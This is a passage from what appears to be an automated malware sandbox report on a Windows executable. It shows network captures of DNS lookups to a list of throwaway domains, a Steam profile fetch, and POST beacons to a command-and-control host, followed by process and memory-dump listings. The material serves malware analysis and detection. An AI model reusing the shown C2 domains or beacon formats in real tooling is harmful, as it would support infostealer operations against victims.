Oct 14, 2024 06:02:11.646195889 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:11.646217108 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:11.646235943 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:11.646308899 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:11.646337986 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:11.646409988 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:11.713391066 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:11.713391066 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:11.713432074 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:11.713445902 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:12.257200956 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:12.257246971 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:12.257345915 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:12.257750988 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:12.257769108 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:13.441289902 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:13.441370010 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:13.443490982 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:13.443501949 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:13.443978071 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:13.445668936 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:13.445709944 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:13.445794106 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:14.004180908 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:14.004288912 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:14.004364967 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:14.004617929 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:14.004642963 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:14.004656076 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:14.004664898 CEST	443	49732	172.67.206.204	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2024 06:02:09.411259890 CEST	55342	53	192.168.2.4	1.1.1.1
Oct 14, 2024 06:02:09.420880079 CEST	53	55342	1.1.1.1	192.168.2.4
Oct 14, 2024 06:02:09.423857927 CEST	59996	53	192.168.2.4	1.1.1.1
Oct 14, 2024 06:02:09.432836056 CEST	53	59996	1.1.1.1	192.168.2.4
Oct 14, 2024 06:02:09.435812950 CEST	63999	53	192.168.2.4	1.1.1.1
Oct 14, 2024 06:02:09.444202900 CEST	53	63999	1.1.1.1	192.168.2.4
Oct 14, 2024 06:02:09.446729898 CEST	49526	53	192.168.2.4	1.1.1.1
Oct 14, 2024 06:02:09.455990076 CEST	53	49526	1.1.1.1	192.168.2.4
Oct 14, 2024 06:02:09.458173990 CEST	59098	53	192.168.2.4	1.1.1.1
Oct 14, 2024 06:02:09.466952085 CEST	53	59098	1.1.1.1	192.168.2.4
Oct 14, 2024 06:02:09.469485044 CEST	52557	53	192.168.2.4	1.1.1.1
Oct 14, 2024 06:02:09.478029966 CEST	53	52557	1.1.1.1	192.168.2.4
Oct 14, 2024 06:02:09.480204105 CEST	62111	53	192.168.2.4	1.1.1.1
Oct 14, 2024 06:02:09.489736080 CEST	53	62111	1.1.1.1	192.168.2.4
Oct 14, 2024 06:02:09.492153883 CEST	56083	53	192.168.2.4	1.1.1.1
Oct 14, 2024 06:02:09.501205921 CEST	53	56083	1.1.1.1	192.168.2.4
Oct 14, 2024 06:02:09.506998062 CEST	50371	53	192.168.2.4	1.1.1.1
Oct 14, 2024 06:02:09.514245033 CEST	53	50371	1.1.1.1	192.168.2.4
Oct 14, 2024 06:02:11.031084061 CEST	61914	53	192.168.2.4	1.1.1.1
Oct 14, 2024 06:02:11.043972015 CEST	53	61914	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 14, 2024 06:02:09.411259890 CEST	192.168.2.4	1.1.1.1	0x3784	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.423857927 CEST	192.168.2.4	1.1.1.1	0x3dd9	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.435812950 CEST	192.168.2.4	1.1.1.1	0x5587	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.446729898 CEST	192.168.2.4	1.1.1.1	0xb59e	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.458173990 CEST	192.168.2.4	1.1.1.1	0x5a4f	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.469485044 CEST	192.168.2.4	1.1.1.1	0xc1e1	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.480204105 CEST	192.168.2.4	1.1.1.1	0x7a93	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.492153883 CEST	192.168.2.4	1.1.1.1	0x500	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.506998062 CEST	192.168.2.4	1.1.1.1	0x7795	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:11.031084061 CEST	192.168.2.4	1.1.1.1	0x902a	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 14, 2024 06:02:09.420880079 CEST	1.1.1.1	192.168.2.4	0x3784	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.432836056 CEST	1.1.1.1	192.168.2.4	0x3dd9	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.444202900 CEST	1.1.1.1	192.168.2.4	0x5587	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.455990076 CEST	1.1.1.1	192.168.2.4	0xb59e	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.466952085 CEST	1.1.1.1	192.168.2.4	0x5a4f	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.478029966 CEST	1.1.1.1	192.168.2.4	0xc1e1	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.489736080 CEST	1.1.1.1	192.168.2.4	0x7a93	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.501205921 CEST	1.1.1.1	192.168.2.4	0x500	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:09.514245033 CEST	1.1.1.1	192.168.2.4	0x7795	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:11.043972015 CEST	1.1.1.1	192.168.2.4	0x902a	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 14, 2024 06:02:11.043972015 CEST	1.1.1.1	192.168.2.4	0x902a	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

sergei-esenin.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.102.49.254	443	2336	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 04:02:10 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-14 04:02:10 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 14 Oct 2024 04:02:10 GMT Content-Length: 34837 Connection: close Set-Cookie: sessionid=d9b4d974260e197745e81065; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-14 04:02:10 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-14 04:02:10 UTC	16384	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f Data Ascii: <script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#glo
2024-10-14 04:02:10 UTC	3768	IN	Data Raw: 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: <div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function()
2024-10-14 04:02:10 UTC	171	IN	Data Raw: 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.206.204	443	2336	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 04:02:11 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-14 04:02:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-14 04:02:11 UTC	551	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 04:02:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xFN1hyOLXHQsdkjtjguI5rMqgJPK4Y%2Bccg%2BULTyq1yQcUDVzu7uzhb29iWkWROb4USShF7GPAIkbCOIfWMqXQZU46bpvbddy4irr9OnhRpS8XwoItvA0xyW9QjPrxuaoqh6faQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d24ac26797019d7-EWR
2024-10-14 04:02:11 UTC	818	IN	Data Raw: 31 31 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1151<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-14 04:02:11 UTC	1369	IN	Data Raw: 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b Data Ascii: cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cook
2024-10-14 04:02:11 UTC	1369	IN	Data Raw: 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 Data Ascii: ent/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input
2024-10-14 04:02:11 UTC	885	IN	Data Raw: 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 Data Ascii: <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand
2024-10-14 04:02:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.206.204	443	2336	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 04:02:13 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=PBl8_uAZ71ma5TmIb7rtXR6M7MUfeWV0I.l03.tWsC8-1728878531-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-14 04:02:13 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-14 04:02:14 UTC	835	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 04:02:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=084047lpqpkivi1mes7k027pga; expires=Thu, 06 Feb 2025 21:48:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0xTPfuRav18OD3WPn7QKAHFnxJ9n2NayH5VcOs84ws%2F1G2hTpg9TWftW6YfjEU84JZTvTNC7x%2Fh%2B%2FhfSufEmiE%2FlSnSUEe5%2BgWWU5pRJxwKRCIKqbhnEQr7Divi%2F0Ivzyx3wiw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d24ac327f2e1a1f-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 04:02:14 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-14 04:02:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:02:06
Start date:	14/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x980000
File size:	3'019'264 bytes
MD5 hash:	4F245878A56ED4C45FB3FDA19421EDA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:02:15
Start date:	14/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 1900
Imagebase:	0xba0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:02:15
Start date:	14/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 1916
Imagebase:	0xba0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:02:34
Start date:	14/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 1952
Imagebase:	0xba0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36.7%
Total number of Nodes:	210
Total number of Limit Nodes:	16

Executed Functions

Function 0098FCA0 Relevance: 6.6, Strings: 5, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J|BJ, xrefs: 0099000D
VY^_, xrefs: 0098FDFF
PBl8_uAZ71ma5TmIb7rtXR6M7MUfeWV0I.l03.tWsC8-1728878531-0.0.1.1-/api, xrefs: 00990137, 00990154
V, xrefs: 0098FEDC
t, xrefs: 0098FCBE

Memory Dump Source

Source File: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.2057947422.0000000000980000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057997382.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058015115.00000000009EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058112831.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058127142.0000000000B4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058144770.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058176443.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058189750.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058203785.0000000000B87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058216233.0000000000B88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058228522.0000000000B89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058241274.0000000000B8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058253535.0000000000B8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058266220.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058280652.0000000000B98000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058293619.0000000000B99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058307996.0000000000BA2000.00000080.00000001.01000000.00000003.sdmpDownload File
